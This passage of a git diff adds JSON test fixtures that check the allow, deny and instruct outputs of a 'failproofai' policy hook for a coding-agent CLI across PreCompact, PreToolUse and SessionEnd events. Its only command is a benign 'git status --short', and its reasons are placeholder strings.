b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..601068e3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d79dbfc0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e030836b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..157c6041 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..adb44291 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..20ce9c5f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a7f1e49e --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..437fc49b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9d8e4b23 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..11cd32c2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..eca8c7f1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..941d424a --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ccd26294 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..215bbd07 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ff300625 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3ef5c47b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0e1f6000 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4fc13b2c --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5fb79ff4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": 